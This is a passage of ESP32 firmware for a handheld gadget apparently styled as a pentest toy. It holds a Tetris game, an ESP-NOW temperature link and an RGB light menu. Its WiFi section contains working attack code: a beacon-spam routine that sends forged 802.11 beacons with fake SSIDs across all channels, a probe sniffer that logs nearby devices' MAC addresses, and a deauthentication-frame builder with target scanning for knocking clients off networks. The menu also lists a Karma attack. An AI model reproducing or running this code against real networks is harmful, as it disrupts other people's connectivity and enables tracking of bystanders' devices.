      tft.setTextColor(PEACH); tft.setCursor(51,69); tft.print("SCORE "); tft.print(score);
    }
  }
  void lock(){
    for(int i=0;i<4;i++){
      int xx=px+shape[type][rot][i][0], yy=py+shape[type][rot][i][1];
      if(yy>=0&&yy<H&&xx>=0&&xx<W) board[yy][xx]=type+1;
    }
    int cleared=0;
    for(int y=H-1;y>=0;y--){
      bool full=true; for(int x=0;x<W;x++) if(!board[y][x]) {full=false;break;}
      if(full){
        cleared++;
        for(int yy=y;yy>0;yy--) for(int x=0;x<W;x++) board[yy][x]=board[yy-1][x];
        for(int x=0;x<W;x++) board[0][x]=0;
        y++;
      }
    }
    if(cleared){
      const uint16_t pts[]={0,100,300,500,800};
      score+=(cleared<=4?pts[cleared]:800)*level;
      lines+=cleared; level=1+lines/8;
      beepSuccess();
    }
    spawn();
  }
  void hardDrop(){
    int dist=0;
    while(!hit(px,py+1,rot)){py++;dist++;}
    score+=(uint32_t)dist*2;
    lock(); draw();
  }
  void tick(bool entered){
    if(entered){reset();draw();}
    uint32_t now=millis();
    bool b=(digitalRead(BTN_BACK)==LOW), n=(digitalRead(BTN_NEXT)==LOW), sel=(digitalRead(BTN_SELECT)==LOW);
    // SELECT: short press rotates/restarts; hold for four seconds exits.
    if(sel && !selectWasDown){selectWasDown=true;selectDownAt=now;selectLongDone=false;}
    if(sel && selectWasDown && !selectLongDone && now-selectDownAt>=4000){
      selectLongDone=true; screen=MAIN; beepBack(); return;
    }
    if(!sel && selectWasDown){
      uint32_t held=now-selectDownAt; selectWasDown=false;
      if(!selectLongDone && held<4000){
        if(over){reset();draw();}
        else{
          int nr=(rot+1)%4;
          if(!hit(px,py,nr))rot=nr;
          else if(!hit(px-1,py,nr)){px--;rot=nr;}
          else if(!hit(px+1,py,nr)){px++;rot=nr;}
          draw();
        }
      }
    }
    if(over){backWasDown=b;nextWasDown=n;return;}
    // Simultaneously press LEFT+RIGHT for a hard drop (one action per hold).
    if(b&&n&&!comboWasDown){hardDrop();comboWasDown=true;}
    if(!b||!n) comboWasDown=false;
    if(!(b&&n)){
      if(b && (!backWasDown || now-lastHorizontal>=125)){
        if(!hit(px-1,py,rot))px--;
        lastHorizontal=now; draw();
      }
      if(n && (!nextWasDown || now-lastHorizontal>=125)){
        if(!hit(px+1,py,rot))px++;
        lastHorizontal=now; draw();
      }
    }
    backWasDown=b; nextWasDown=n;
    uint32_t delayMs=max((uint32_t)95,(uint32_t)520-(uint32_t)(level-1)*32);
    if(now-lastFall>=delayMs){
      lastFall=now;
      if(!hit(px,py+1,rot))py++;
      else lock();
      draw();
    }
  }
}

// ================= ARGUS LINK: ESP-NOW SENSOR REQUEST =================
struct ArgusLinkPacket {
  uint32_t magic;
  uint8_t type; // 1=request, 2=response
  float temperature;
  float humidity;
  uint8_t ok;
};
static constexpr uint32_t ARGUS_LINK_MAGIC = 0xA612C3D1;
static const uint8_t ARGUS_LINK_BROADCAST[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
volatile bool argusLinkResponseReady = false;
volatile bool argusLinkSensorOK = false;
volatile float argusLinkTemperature = 0.0f;
volatile float argusLinkHumidity = 0.0f;
volatile uint32_t argusLinkResponseAt = 0;
bool argusLinkStarted = false;
bool argusLinkWaiting = false;
uint32_t argusLinkRequestAt = 0;
uint32_t argusLinkLastResponseAt = 0;

void argusLinkOnRecv(const esp_now_recv_info_t *info, const uint8_t *data, int len) {
  if (!info || !data || len != (int)sizeof(ArgusLinkPacket)) return;
  ArgusLinkPacket packet;
  memcpy(&packet, data, sizeof(packet));
  if (packet.magic != ARGUS_LINK_MAGIC || packet.type != 2) return;
  argusLinkTemperature = packet.temperature;
  argusLinkHumidity = packet.humidity;
  argusLinkSensorOK = packet.ok != 0;
  argusLinkResponseAt = millis();
  argusLinkResponseReady = true;
}

bool argusLinkStart() {
  if (argusLinkStarted) return true;
  WiFi.mode(WIFI_STA);
  WiFi.disconnect(false, false);
  esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
  if (esp_now_init() != ESP_OK) return false;
  esp_now_register_recv_cb(argusLinkOnRecv);
  esp_now_peer_info_t peer = {};
  memcpy(peer.peer_addr, ARGUS_LINK_BROADCAST, 6);
  peer.channel = 1;
  peer.encrypt = false;
  if (!esp_now_is_peer_exist(ARGUS_LINK_BROADCAST)) esp_now_add_peer(&peer);
  argusLinkStarted = true;
  return true;
}

void argusLinkStop() {
  if (argusLinkStarted) {
    esp_now_deinit();
    argusLinkStarted = false;
  }
  argusLinkWaiting = false;
}

void argusLinkRequest() {
  if (!argusLinkStart()) {
    argusLinkWaiting = false;
    return;
  }
  ArgusLinkPacket packet = {ARGUS_LINK_MAGIC, 1, 0.0f, 0.0f, 0};
  argusLinkResponseReady = false;
  argusLinkWaiting = true;
  argusLinkRequestAt = millis();
  esp_now_send(ARGUS_LINK_BROADCAST, (const uint8_t *)&packet, sizeof(packet));
}

void drawArgusLink() {
  clearScreen(COL_BG);
  tft.drawFastHLine(0, 22, 160, COL_ACCENT);
  tft.setTextColor(COL_ACCENT); tft.setTextSize(2); tft.setCursor(7, 4); tft.print("ARGUS LINK");
  tft.setTextSize(1);
  tft.drawRoundRect(6, 30, 148, 81, 7, COL_ACCENT2);
  tft.setTextColor(COL_DIM); tft.setCursor(15, 39); tft.print("TEMPERATURE");
  tft.setTextColor(COL_TEXT); tft.setTextSize(2); tft.setCursor(15, 52);
  if (argusLinkLastResponseAt == 0) tft.print("--.- C");
  else { tft.print((float)argusLinkTemperature, 1); tft.print(" C"); }
  tft.setTextSize(1); tft.setTextColor(COL_DIM); tft.setCursor(15, 79); tft.print("HUMIDITY");
  tft.setTextColor(COL_TEXT); tft.setTextSize(2); tft.setCursor(15, 91);
  if (argusLinkLastResponseAt == 0) tft.print("-- %");
  else { tft.print((int)(argusLinkHumidity + 0.5f)); tft.print(" %"); }
  tft.setTextSize(1); tft.setCursor(8, 119);
  if (!argusLinkStarted) { tft.setTextColor(COL_WARN); tft.print("LINK INIT ERROR"); }
  else if (argusLinkWaiting) { tft.setTextColor(COL_ACCENT2); tft.print("REQUESTING..."); }
  else if (argusLinkLastResponseAt == 0) { tft.setTextColor(COL_DIM); tft.print("NO DATA"); }
  else if (millis() - argusLinkLastResponseAt > 15000) { tft.setTextColor(COL_WARN); tft.print("DISCONNECTED"); }
  else if (!argusLinkSensorOK) { tft.setTextColor(COL_WARN); tft.print("SENSOR ERROR"); }
  else { tft.setTextColor(COL_ACCENT2); tft.print("CONNECTED"); }
  // No grey button hints: only a clean orange action button.
  tft.drawRoundRect(35, 136, 90, 20, 5, COL_ACCENT);
  tft.setTextColor(COL_ACCENT2); tft.setCursor(48, 143); tft.print("REQUEST");
}

void tickArgusLink(bool entered) {
  if (entered) {
    argusLinkWaiting = false;
    argusLinkResponseReady = false;
    if (!argusLinkStart()) { argusLinkStarted = false; }
    drawArgusLink();
  }
  if (backPressed()) { argusLinkStop(); screen = MAIN; return; }
  if (selectPressed()) {
    argusLinkRequest();
    drawArgusLink();
  }
  if (argusLinkResponseReady) {
    noInterrupts();
    argusLinkResponseReady = false;
    interrupts();
    argusLinkLastResponseAt = argusLinkResponseAt;
    argusLinkWaiting = false;
    drawArgusLink();
  }
  if (argusLinkWaiting && millis() - argusLinkRequestAt > 2500) {
    argusLinkWaiting = false;
    drawArgusLink();
  }
}

// ================= RGB LED CONTROL =================
bool rgbRainbowEnabled = false;
uint16_t rgbHue = 0;
uint32_t rgbLastStep = 0;
int rgbMenuItem = 0;

void rgbSetOff() {
  rgbRainbowEnabled = false;
  rgbLed.clear();
  rgbLed.show();
}

void rgbTick() {
  if (!rgbRainbowEnabled) return;
  uint32_t now = millis();
  if (now - rgbLastStep < 25) return;
  rgbLastStep = now;
  rgbLed.setPixelColor(0, rgbLed.gamma32(rgbLed.ColorHSV(rgbHue, 255, 100)));
  rgbLed.show();
  rgbHue += 320;
}

void drawRGBMenu() {
  clearScreen();
  header("RGB LIGHT", 7);
  const char* items[] = {"Start rainbow", "Stop / OFF", "Back"};
  for (int i=0; i<3; ++i) menuItem(39 + i*22, items[i], i==rgbMenuItem);
  text(rgbRainbowEnabled ? "STATUS: RAINBOW ON" : "STATUS: OFF", 4, 111, rgbRainbowEnabled ? COL_ACCENT2 : COL_DIM);
  centerText("NEXT: MOVE  SELECT: OK", 122, COL_DIM);
}

void tickRGBMenu(bool entered) {
  if (entered) { rgbMenuItem=0; drawRGBMenu(); }
  if (backPressed()) { rgbSetOff(); screen=MAIN; return; }
  if (nextPressed()) { rgbMenuItem=(rgbMenuItem+1)%3; drawRGBMenu(); }
  if (selectPressed()) {
    if (rgbMenuItem==0) { rgbRainbowEnabled=true; rgbLastStep=0; rgbHue=0; }
    else if (rgbMenuItem==1) rgbSetOff();
    else { rgbSetOff(); screen=MAIN; return; }
    drawRGBMenu();
  }
}

// ARGUS hub groups tools, settings, info and system diagnostics.
const int ARGUS_ITEMS=4;
void drawArgusHub() {
  clearScreen(); header("ARGUS",6);
  const char* items[ARGUS_ITEMS]={"Tools","Settings","Info / Pins","Back"};
  for(int i=0;i<ARGUS_ITEMS;i++) menuItem(34+i*21,items[i],i==argusItem);
  text("NEXT: move  SELECT: open",4,119,COL_DIM);
}
void tickArgusHub(bool entered) {
  if(entered) drawArgusHub();
  if(backPressed()) { screen=MAIN; return; }
  if(nextPressed()) { argusItem=(argusItem+1)%ARGUS_ITEMS; drawArgusHub(); }
  if(selectPressed()) {
    if(argusItem==0) screen=DISPLAY_TEST;
    else if(argusItem==1) { settingsItem=0; screen=SETTINGS; }
    else if(argusItem==2) { infoPage=0; screen=INFO; }
    else screen=MAIN;
  }
}

// ================= WIFI =================
const char* wifiItems[] = {
"Scan Networks","My WiFi","Hotspot","Beacon Spam","Captive Portal",
"Probe Sniffer","Deauth Attack","WiFi Radar","Deauth Detector","Karma Attack"
};
const int WIFI_ITEMS = 10;
const int WIFI_VISIBLE = 5;
const int WIFI_ITEM_H = 20;

void drawWiFiMenu() {
clearScreen(); header("WiFi", 0);
int start = wifiItem - WIFI_VISIBLE/2;
if (start < 0) start = 0;
if (start > WIFI_ITEMS - WIFI_VISIBLE) start = WIFI_ITEMS - WIFI_VISIBLE;
for (int row = 0; row < WIFI_VISIBLE; row++) {
int i = start + row; if (i >= WIFI_ITEMS) break;
menuItem(30 + row * WIFI_ITEM_H, wifiItems[i], i == wifiItem);
}
if (WIFI_ITEMS > WIFI_VISIBLE) {
int trackY = 26, trackH = 96;
tft.drawFastVLine(156, trackY, trackH, COL_DIM);
int thumbH = trackH * WIFI_VISIBLE / WIFI_ITEMS;
int thumbY = trackY + (trackH - thumbH) * wifiItem / (WIFI_ITEMS - 1);
tft.fillRect(155, thumbY, 3, thumbH, COL_ACCENT);
}
}

const int NET_ROW_H = 20, NET_VISIBLE = 5;
void drawNetworkList() {
clearScreen(); header("Networks", 0);
if (networkCount == 0) { centerText("No networks", 60, COL_WARN); return; }
int start = networkItem - NET_VISIBLE/2;
if (start < 0) start = 0;
if (start > networkCount - NET_VISIBLE) start = networkCount - NET_VISIBLE;
for (int row = 0; row < NET_VISIBLE; row++) {
int i = start + row; if (i >= networkCount) break;
int y = 28 + row * NET_ROW_H;
String ssid = WiFi.SSID(i); if (ssid.length() == 0) ssid = "<hidden>";
bool sel = (i == networkItem);
if (sel) tft.fillRoundRect(2, y-2, 154, 18, 4, COL_ACCENT);
char shortSsid[20]; truncateTo(ssid.c_str(), shortSsid, 18);
text(shortSsid, 6, y+2, sel ? COL_BG : COL_ACCENT2);
char r[8]; snprintf(r, sizeof(r), "%d", WiFi.RSSI(i));
text(r, 120, y+2, sel ? COL_BG : COL_ACCENT);
bool open = WiFi.encryptionType(i) == WIFI_AUTH_OPEN;
text(open ? "O" : "L", 144, y+2, open ? COL_OK : COL_WARN);
}
if (networkCount > NET_VISIBLE) {
int trackY = 26, trackH = 100;
tft.drawFastVLine(156, trackY, trackH, COL_DIM);
int thumbH = trackH * NET_VISIBLE / networkCount;
if (thumbH < 4) thumbH = 4;
int thumbY = trackY + (trackH - thumbH) * networkItem / (networkCount - 1);
tft.fillRect(155, thumbY, 3, thumbH, COL_ACCENT);
}
}

bool scanNetworks() {
WiFi.scanDelete();
WiFi.scanNetworks(true, true);
int frame = 0;
unsigned long start = millis();
while (WiFi.scanComplete() == WIFI_SCAN_RUNNING && millis() - start < 15000) {
clearScreen(); header("WiFi", 0);
const char* dots[4] = {"", ".", "..", "..."};
char buf[20]; snprintf(buf, sizeof(buf), "Scanning%s", dots[frame++ % 4]);
centerText(buf, 60, COL_ACCENT, 2);
delay(150);
if (backPressed()) { WiFi.scanDelete(); return false; }
}
networkCount = WiFi.scanComplete();
if (networkCount <= 0) {
networkCount = 0;
message("WiFi", "No networks", nullptr, COL_WARN);
delay(800); return false;
}
networkItem = 0; return true;
}

void showNetworkInfo(int i) {
clearScreen(); header("Network", 0);
String ssid = WiFi.SSID(i); if (ssid.length() == 0) ssid = "<hidden>";
char su[22]; truncateTo(ssid.c_str(), su, 21);
text(su, 6, 30, COL_TEXT);
uint8_t* bssid = WiFi.BSSID(i);
if (bssid) {
char vb[24]; snprintf(vb, sizeof(vb), "Vendor: %s", ouiVendor(bssid));
text(vb, 6, 48, COL_ACCENT2);
}
char b[32]; snprintf(b, sizeof(b), "RSSI: %d dBm", WiFi.RSSI(i)); text(b, 6, 64, COL_ACCENT);
char ch[24]; snprintf(ch, sizeof(ch), "Channel: %d", WiFi.channel(i)); text(ch, 6, 80, COL_ACCENT2);
bool open = WiFi.encryptionType(i) == WIFI_AUTH_OPEN;
text(open ? "OPEN" : "LOCKED", 6, 96, open ? COL_OK : COL_WARN);
text(open ? "SEL: connect" : "PASSWORD REQ", 6, 112, open ? COL_TEXT : COL_ACCENT);
}

void connectOpenNetwork(int i) {
if (WiFi.encryptionType(i) != WIFI_AUTH_OPEN) {
message("WiFi", "Password required", nullptr, COL_ACCENT);
beepError(); delay(900); return;
}
String ssid = WiFi.SSID(i);
WiFi.disconnect(true); delay(150);
WiFi.begin(ssid.c_str());
unsigned long start = millis(); int frame = 0;
while (WiFi.status() != WL_CONNECTED && millis() - start < 9000) {
if (backPressed()) { WiFi.disconnect(); return; }
clearScreen(); header("Connecting", 0);
const char* dots[4] = {"", ".", "..", "..."};
char buf[20]; snprintf(buf, sizeof(buf), "Connecting%s", dots[frame++ % 4]);
centerText(buf, 60, COL_ACCENT, 2);
delay(200);
}
if (WiFi.status() == WL_CONNECTED) { message("Connected", WiFi.localIP().toString().c_str(), nullptr, COL_OK); beepSuccess(); }
else { message("Failed", "Connection failed", nullptr, COL_WARN); beepError(); }
delay(900);
}

void showWiFiStatus() {
clearScreen(); header("My WiFi", 0);
if (WiFi.status() != WL_CONNECTED) { centerText("Not connected", 60, COL_WARN); return; }
char ssid[22]; truncateTo(WiFi.SSID().c_str(), ssid, 21);
text(ssid, 6, 32, COL_ACCENT);
text(WiFi.localIP().toString().c_str(), 6, 52, COL_TEXT);
char b[30]; snprintf(b, sizeof(b), "RSSI %d dBm", WiFi.RSSI()); text(b, 6, 72, COL_ACCENT2);
char m[30]; snprintf(m, sizeof(m), "MAC %s", WiFi.macAddress().c_str()); text(m, 6, 92, COL_DIM);
}

void startHotspot() { WiFi.mode(WIFI_AP_STA); WiFi.softAP("ARGUS-Hotspot"); apActive = true; beepSuccess(); }
void stopHotspot()  { WiFi.softAPdisconnect(true); WiFi.mode(WIFI_STA); apActive = false; beepBack(); }
void drawHotspotScreen() {
clearScreen(); header("Hotspot", 0);
if (apActive) {
centerText("Hotspot ON", 36, COL_ACCENT, 2);
text("SSID", 10, 64, COL_ACCENT2); text("ARGUS-Hotspot", 46, 64, COL_TEXT);
text("IP", 10, 80, COL_ACCENT2); text(WiFi.softAPIP().toString().c_str(), 46, 80, COL_TEXT);
char c[20]; snprintf(c, sizeof(c), "Clients: %d", WiFi.softAPgetStationNum()); text(c, 10, 96, COL_ACCENT);
centerText("SELECT: stop", 116, COL_DIM);
} else {
centerText("Hotspot OFF", 56, COL_WARN, 2);
centerText("SELECT: start", 96, COL_DIM);
}
}
void tickHotspot(bool entered) {
if (entered) drawHotspotScreen();
if (backPressed()) { screen = WIFI_MENU; return; }
if (selectPressed()) { if (apActive) stopHotspot(); else startHotspot(); drawHotspotScreen(); }
}

// ================= BEACON SPAM =================
const char* beaconSSIDs[] = { "FBI Van","Free WiFi","Virus.exe","NSA Unit 4","Loading...","Get off my WiFi","Wu Tang LAN","404 WiFi" };
const int BEACON_SSID_COUNT = sizeof(beaconSSIDs)/sizeof(beaconSSIDs[0]);
int bsOK = 0, bsErr = 0;
void sendBeacon(const char* ssid, uint8_t channel) {
int ssidLen = strlen(ssid); if (ssidLen > 32) ssidLen = 32;
uint8_t mac[6];
for (int i = 0; i < 6; i++) mac[i] = random(0, 256);
mac[0] &= 0xFE; mac[0] |= 0x02;
uint8_t packet[128]; int i = 0;
packet[i++]=0x80;packet[i++]=0x00;packet[i++]=0x00;packet[i++]=0x00;
for (int k=0;k<6;k++) packet[i++]=0xFF;
for (int k=0;k<6;k++) packet[i++]=mac[k];
for (int k=0;k<6;k++) packet[i++]=mac[k];
packet[i++]=0x00;packet[i++]=0x00;
for (int k=0;k<8;k++) packet[i++]=0x00;
packet[i++]=0x64;packet[i++]=0x00;
packet[i++]=0x01;packet[i++]=0x04;packet[i++]=0x00;packet[i++]=ssidLen;
for (int k=0;k<ssidLen;k++) packet[i++]=ssid[k];
packet[i++]=0x01;packet[i++]=0x08;
packet[i++]=0x82;packet[i++]=0x84;packet[i++]=0x8B;packet[i++]=0x96;
packet[i++]=0x0C;packet[i++]=0x12;packet[i++]=0x18;packet[i++]=0x24;
packet[i++]=0x03;packet[i++]=0x01;packet[i++]=channel;
esp_err_t r = esp_wifi_80211_tx(WIFI_IF_STA, packet, i, false);
if (r == ESP_OK) bsOK++; else bsErr++;
}
void tickBeaconSpam(bool entered) {
static int channel = 1, currentIdx = 0;
static unsigned long lastDraw = 0, lastChannelSwitch = 0;
if (entered) {
WiFi.scanDelete(); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_STA); delay(300);
esp_wifi_set_ps(WIFI_PS_NONE);
esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
channel = 1; currentIdx = 0; bsOK = 0; bsErr = 0;
lastDraw = 0; lastChannelSwitch = millis();
clearScreen(); header("Beacon Spam", 0);
centerText("Activating...", 60, COL_ACCENT, 2);
beepSuccess(); delay(500);
}
for (int i = 0; i < 6; i++) {
sendBeacon(beaconSSIDs[currentIdx], channel);
currentIdx = (currentIdx + 1) % BEACON_SSID_COUNT;
}
if (millis() - lastChannelSwitch > 80) {
lastChannelSwitch = millis();
channel = (channel % 13) + 1;
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
}
if (millis() - lastDraw > 200) {
lastDraw = millis();
clearScreen(); header("Beacon Spam", 0);
centerText("ACTIVE", 28, COL_ACCENT, 2);
char buf[32];
snprintf(buf, sizeof(buf), "OK: %d  ERR: %d", bsOK, bsErr); text(buf, 6, 54, bsErr > 0 ? COL_WARN : COL_TEXT);
snprintf(buf, sizeof(buf), "Channel: %d", channel); text(buf, 6, 70, COL_ACCENT);
text("SSID:", 6, 86, COL_ACCENT2);
char ss[22]; truncateTo(beaconSSIDs[currentIdx], ss, 20);
text(ss, 6, 100, COL_TEXT);
centerText("BACK: stop", 118, COL_DIM);
}
if (backPressed()) { esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); screen = WIFI_MENU; return; }
}

// ================= CAPTIVE PORTAL =================
const char PORTAL_SSID[] = "Free WiFi";
const char PORTAL_HTML[] PROGMEM = R"HTML(

<!DOCTYPE html><html lang="ru"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Wi-Fi</title>  <style>html,body{margin:0;padding:0;height:100%;background:#000}body{display:flex;align-items:center;justify-content:center;font-family:Arial,sans-serif}  
h1{color:#ff8c00;font-size:15vw;margin:0;text-align:center;letter-spacing:2px;word-break:break-word;padding:20px}</style></head><body><h1>ARGUS PORTAL</h1></body></html>  )HTML";
void handleRoot()    { portalServer.send_P(200, "text/html; charset=UTF-8", PORTAL_HTML); }
void handleNotFound(){ portalServer.send_P(200, "text/html; charset=UTF-8", PORTAL_HTML); }
int portalClients = 0;
unsigned long lastPortalDraw = 0, portalStart = 0;
void drawCaptivePortalScreen() {
clearScreen(); header("Captive Portal", 0);
centerText("ACTIVE", 30, COL_ACCENT, 2);
text("SSID:", 6, 52, COL_ACCENT2); text(PORTAL_SSID, 6, 66, COL_TEXT);
text("IP:", 6, 82, COL_ACCENT2); text(WiFi.softAPIP().toString().c_str(), 6, 96, COL_TEXT);
char buf[32]; unsigned long mins = (millis() - portalStart) / 60000;
snprintf(buf, sizeof(buf), "Clients: %d  Up: %lum", portalClients, mins); text(buf, 6, 110, COL_ACCENT);
centerText("BACK: stop", 122, COL_DIM);
}
void tickCaptivePortal(bool entered) {
if (entered) {
WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_AP); WiFi.softAP(PORTAL_SSID); delay(300);
dnsServer.start(53, "*", WiFi.softAPIP());
portalServer.on("/", HTTP_GET, handleRoot);
portalServer.onNotFound(handleNotFound);
portalServer.begin();
portalClients = 0; portalStart = millis(); lastPortalDraw = 0;
drawCaptivePortalScreen();
}
dnsServer.processNextRequest();
portalServer.handleClient();
if (millis() - lastPortalDraw > 500) {
lastPortalDraw = millis();
int now = WiFi.softAPgetStationNum();
if (now != portalClients) {
if (now > portalClients) beepSuccess(); else beepBack();
portalClients = now; drawCaptivePortalScreen();
}
}
if (backPressed()) {
portalServer.stop(); dnsServer.stop();
WiFi.softAPdisconnect(true); WiFi.mode(WIFI_STA);
screen = WIFI_MENU; return;
}
}

// ================= SNIFFER =================
struct ProbeEntry { uint8_t mac[6]; char ssid[24]; int8_t rssi; unsigned long lastSeen; };
const int PROBE_MAX = 10;
ProbeEntry probeList[PROBE_MAX];
int probeCount = 0;
volatile unsigned long probePackets = 0, probeLastSeen = 0;
volatile char probeLastSSID[24] = "";
volatile uint8_t probeLastMAC[6] = {0};
volatile int8_t probeLastRSSI = 0;
int findProbe(const uint8_t* mac) {
for (int i = 0; i < probeCount; i++) if (memcmp(probeList[i].mac, mac, 6) == 0) return i;
return -1;
}
void shiftProbes() {
for (int i = 0; i < PROBE_MAX - 1; i++) probeList[i] = probeList[i + 1];
probeCount = PROBE_MAX - 1;
}
void IRAM_ATTR probeCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* p = pkt->payload; int len = pkt->rx_ctrl.sig_len;
if (len < 24 || (p[0] & 0xF0) != 0x40) return;
probePackets++; probeLastSeen = millis(); probeLastRSSI = pkt->rx_ctrl.rssi;
memcpy((void*)probeLastMAC, p + 10, 6);
probeLastSSID[0] = '\0';
for (int i = 24; i < len - 2; ) {
uint8_t tid = p[i], tl = p[i + 1];
if (i + 2 + tl > len) break;
if (tid == 0x00) {
int l = tl > 23 ? 23 : tl;
memcpy((void*)probeLastSSID, p + i + 2, l); probeLastSSID[l] = '\0'; break;
}
i += 2 + tl;
}
if (probeLastSSID[0] == '\0') { strncpy((char*)probeLastSSID, "<hidden>", 23); probeLastSSID[23] = '\0'; }
}
void updateProbeList() {
if (probeLastSeen == 0) return;
int idx = findProbe((const uint8_t*)probeLastMAC);
if (idx < 0) {
if (probeCount >= PROBE_MAX) shiftProbes();
idx = probeCount++;
memcpy(probeList[idx].mac, (const void*)probeLastMAC, 6);
playSnifferPing();
}
strncpy(probeList[idx].ssid, (const char*)probeLastSSID, 23); probeList[idx].ssid[23] = '\0';
probeList[idx].rssi = probeLastRSSI; probeList[idx].lastSeen = probeLastSeen;
probeLastSeen = 0;
}
void macToString(const uint8_t* mac, char* out) { sprintf(out, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]); }
int probeScroll = 0;
const int PROBE_VISIBLE = 5, PROBE_ROW_H = 12;
void drawSnifferScreen() {
clearScreen(); header("Sniffer", 0);
centerText("SNIFFING", 28, COL_ACCENT, 2);
char buf[40]; snprintf(buf, sizeof(buf), "Packets: %lu", probePackets); text(buf, 4, 48, COL_TEXT);
snprintf(buf, sizeof(buf), "Devices: %d", probeCount); text(buf, 4, 60, COL_ACCENT);
if (probeCount == 0) { centerText("Listening...", 86, COL_ACCENT2); return; }
int start = probeScroll;
if (start > probeCount - PROBE_VISIBLE) start = probeCount - PROBE_VISIBLE;
if (start < 0) start = 0;
for (int row = 0; row < PROBE_VISIBLE; row++) {
int i = start + row; if (i >= probeCount) break;
int y = 74 + row * PROBE_ROW_H;
char mac[24]; macToString(probeList[i].mac, mac); text(mac, 3, y, COL_TEXT);
text(ouiVendor(probeList[i].mac), 70, y, COL_ACCENT2);
char r[6]; snprintf(r, sizeof(r), "%d", probeList[i].rssi); text(r, 142, y, probeList[i].rssi > -60 ? COL_ACCENT : COL_DIM);
}
}
void tickSniffer(bool entered) {
static unsigned long lastDraw = 0, lastHop = 0; static int chIdx = 0;
static const uint8_t channels[] = {1, 6, 11};
if (entered) {
WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_STA); delay(300); esp_wifi_set_ps(WIFI_PS_NONE); esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE);
probeCount = 0; probePackets = 0; probeLastSeen = 0; probeLastSSID[0] = '\0'; probeScroll = 0;
esp_wifi_set_promiscuous_rx_cb(probeCallback); esp_wifi_set_promiscuous(true);
clearScreen(); header("Sniffer", 0); centerText("Starting...", 60, COL_ACCENT, 2); delay(300);
lastDraw = 0; lastHop = millis(); chIdx = 1;
}
if (millis() - lastHop > 5000) { lastHop = millis(); chIdx = (chIdx + 1) % 3; esp_wifi_set_channel(channels[chIdx], WIFI_SECOND_CHAN_NONE); }
updateProbeList();
if (backPressed()) { esp_wifi_set_promiscuous(false); esp_wifi_set_promiscuous_rx_cb(nullptr); screen = WIFI_MENU; return; }
if (nextPressed()) { probeScroll++; if (probeScroll > probeCount - 1) probeScroll = probeCount - 1; if (probeScroll < 0) probeScroll = 0; lastDraw = 0; }
if (millis() - lastDraw > 300) { lastDraw = millis(); drawSnifferScreen(); }
}

// ================= DEAUTH =================
const int DEAUTH_MAX_TARGETS = 10;
struct DeauthTarget { uint8_t bssid[6]; uint8_t channel; char ssid[24]; int8_t rssi; };
DeauthTarget deauthTargets[DEAUTH_MAX_TARGETS];
int deauthTargetCount = 0, deauthCurrent = 0, deauthScroll = 0;
const int DEAUTH_VISIBLE = 5, DEAUTH_ROW_H = 14;
unsigned long deauthPackets = 0, lastDeauthDraw = 0, lastDeauthSend = 0;
bool deauthRunning = false;
void sendDeauthFrame(const uint8_t* bssid, const uint8_t* client, uint8_t) {
uint8_t packet[26]; int i = 0;
packet[i++]=0xC0; packet[i++]=0x00; packet[i++]=0x00; packet[i++]=0x00;
for (int k=0;k<6;k++) packet[i++]=client[k];
for (int k=0;k<6;k++) packet[i++]=bssid[k];
for (int k=0;k<6;k++) packet[i++]=bssid[k];
packet[i++]=0x00; packet[i++]=0x00; packet[i++]=0x07; packet[i++]=0x00;
esp_wifi_80211_tx(WIFI_IF_STA, packet, i, false);
deauthPackets++;
}
void drawDeauthScreen() {
clearScreen(); header("Deauth Attack", 0);
char buf[32]; snprintf(buf, sizeof(buf), "Packets: %lu", deauthPackets); text(buf, 4, 28, COL_TEXT);
snprintf(buf, sizeof(buf), "Targets: %d", deauthTargetCount); text(buf, 4, 40, COL_ACCENT);
if (deauthTargetCount == 0) { centerText("No targets", 74, COL_WARN); centerText("BACK: exit", 110, COL_DIM); return; }
int start = deauthScroll;
if (start > deauthTargetCount - DEAUTH_VISIBLE) start = deauthTargetCount - DEAUTH_VISIBLE;
if (start < 0) start = 0;
for (int row = 0; row < DEAUTH_VISIBLE; row++) {
int i = start + row; if (i >= deauthTargetCount) break;
int y = 54 + row * DEAUTH_ROW_H;
bool sel = (i == deauthCurrent);
if (sel) tft.fillRoundRect(2, y-2, 156, 14, 3, COL_ACCENT);
char ss[15]; truncateTo(deauthTargets[i].ssid, ss, 14);
text(ss, 5, y, sel ? COL_BG : COL_TEXT);
char ch[6]; snprintf(ch, sizeof(ch), "ch%02d", deauthTargets[i].channel);
text(ch, 112, y, sel ? COL_BG : COL_ACCENT);
}
centerText("NEXT: sel  SELECT: go", 124, COL_DIM);
}
void scanDeauthTargets() {
clearScreen(); header("Deauth Attack", 0);
centerText("Scanning...", 60, COL_ACCENT, 2);
WiFi.scanDelete(); WiFi.scanNetworks(true, true);
unsigned long s = millis();
while (WiFi.scanComplete() == WIFI_SCAN_RUNNING && millis() - s < 12000) delay(200);
int n = WiFi.scanComplete();
deauthTargetCount = 0;
for (int i = 0; i < n && deauthTargetCount < DEAUTH_MAX_TARGETS; i++) {
uint8_t* bssid = WiFi.BSSID(i); if (!bssid) continue;
memcpy(deauthTargets[deauthTargetCount].bssid, bssid, 6);
deauthTargets[deauthTargetCount].channel = WiFi.channel(i);
String s2 = WiFi.SSID(i); if (s2.length() == 0) s2 = "<hidden>";
strncpy(deauthTargets[deauthTargetCount].ssid, s2.c_str(), 23);
deauthTargets[deauthTargetCount].ssid[23] = '\0';
deauthTargets[deauthTargetCount].rssi = WiFi.RSSI(i);
deauthTargetCount++;
}
if (deauthTargetCount == 0) { message("Deauth", "No targets", nullptr, COL_WARN); delay(800); }
deauthCurrent = 0; deauthScroll = 0;
}
void tickDeauth(bool entered) {
if (entered) {
